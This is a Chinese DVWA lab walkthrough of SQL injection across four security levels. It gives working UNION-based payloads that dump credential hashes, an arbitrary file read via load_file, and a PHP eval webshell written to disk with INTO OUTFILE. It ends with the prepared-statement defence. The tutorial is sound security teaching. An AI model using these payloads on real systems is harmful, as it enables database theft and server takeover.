DVWA SQL Injection 通关教程

谁说胖子不能爱 提交于 2020-04-24 15:33:14

SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱裤”,如今SQL注入仍是现在最常见的Web漏洞之一。

SQL 注入分类:

SQLMap中的分类来看,SQL注入类型有以下5种:

UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

 

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

 

下面对四种级别的代码进行分析。

 

 

Low Security Level:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

由代码可知,通过REQUEST方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。

Exploit

常见注入测试的POC

poc

判断注入:

1   页面正常

1'  页面返回错误:报错“...use near ''1''' at line 1...1' or '1'='2 页面返回为空,查询失败

1' or '1'='1 页面正常,并返回更多信息,成功查询

判断存在的是字符型注入。

猜字段:

1' order by 2#

得到字段数为2

确定回显点:

1' union select 1,2#

echo

猜数据库:

1' union select 1,database()#

payload利用另一种方式:

1' union select user(),database()--+
得到数据库名:dvwa

PSunion查询结合了两个select查询结果,根据上面的order by语句我们知道查询包含两列,为了能够现实两列查询结果,我们需要用union查询结合我们构造的另外一个select.注意在使用union查询的时候需要和主查询的列数相同。

猜表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
得到表名:guestbook,users

猜列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

(用编码就不用单引号,用单引号就不用编码)

得到列:

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password

猜用户数据:

列举出几种payload:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #  
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

得到用户数据:

admin 5f4dcc3b5aa765d61d8327deb882cf99

猜 root 用户:

1' union select 1,group_concat(user,password) from mysql.user#
得到root用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

读文件和写入拿shell

使用mysql的读写功能需要具有一定的权限。

secure_file_priv参数用来限制load_file,into outfile等相关读写执行函数作用于哪个指定目录。

当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制

通过命令查看secure-file-priv的当前值:

show global variables like '%secure%';
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv | NULL  |
+------------------+-------+
2 rows in set (0.00 sec)

由于我使用的是PHPStudy搭建的环境,MySQL没有设置过secure_file_priv时,默认为NULL

修改secure_file_priv为指定的目录:

Windows下的配置文件:../MySQL/my.ini

Linux下的配置文件:/etc/mysql/my.cnf(不同linux下的my.cnf位置路径不同,此处不一一列举)

[mysqld]内加入:

secure_file_priv =

注意这里为空,表示可以导入导出到任意目录

重启mysql服务,接下来开始在DVWA中利用SQL注入进行导入导出的操作:

load_file()函数读取任意文件:

1' union select 1,load_file('E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\dvwa\\index.php')#

利用into outfile()函数写入一句话拿webshell

不知道路径的情况下,先通过报错得出网站的绝对路径:

1' union select 'xx',2 into outfile 'xx'#

error

得到路径:

E:\web\phpStudy2017\PHPTutorial\WWW\dvwa\vulnerabilities\sqli\source\low.php

我们直接into outfile一句话到根目录:

1' union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
由于单引号会引起闭合而导致查询失败,注意一句话中的cmd不能是单引号

123

或者整句使用双引号:

1' union select 1,"<?php @eval($_POST['cmd']);?>" into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#

或者采用编码方式,如十六进制编码的方式:

1' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile 'E:\\web\\phpStudy2017\\PHPTutorial\\WWW\\x.php'#
最后,导入一句话成功。

webshell

菜刀连接之即可。

 

 

Medium Security Level:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>

使用了mysqli_real_escape_string函数对特殊字符进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

Exploit

判断是否存在注入,注入是字符型还是数字型?

抓包更改参数id1' or 1=1 #,报错,

sql

抓包更改参数id1 or 1=1 #,查询成功,

说明存在数字型注入。

(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。)

猜表名:

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
得到表名:guestbook,users

猜列名:

考虑到单引号被转义,可以利用 16 进制进行绕过,抓包更改参数id

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
得到列:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
猜用户数据

抓包修改参数id

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
得到用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99

 

 

 

High Secuirty Level:
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
?>

 

可以看到,与Low Secuity Level的代码相比,Medium Secuity Level的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

Exploit

由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。输入:

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

 

 

 

Impossible Security Level:
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?>

 

可以看到,Impossible Secuity Level的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了”脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

 
标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!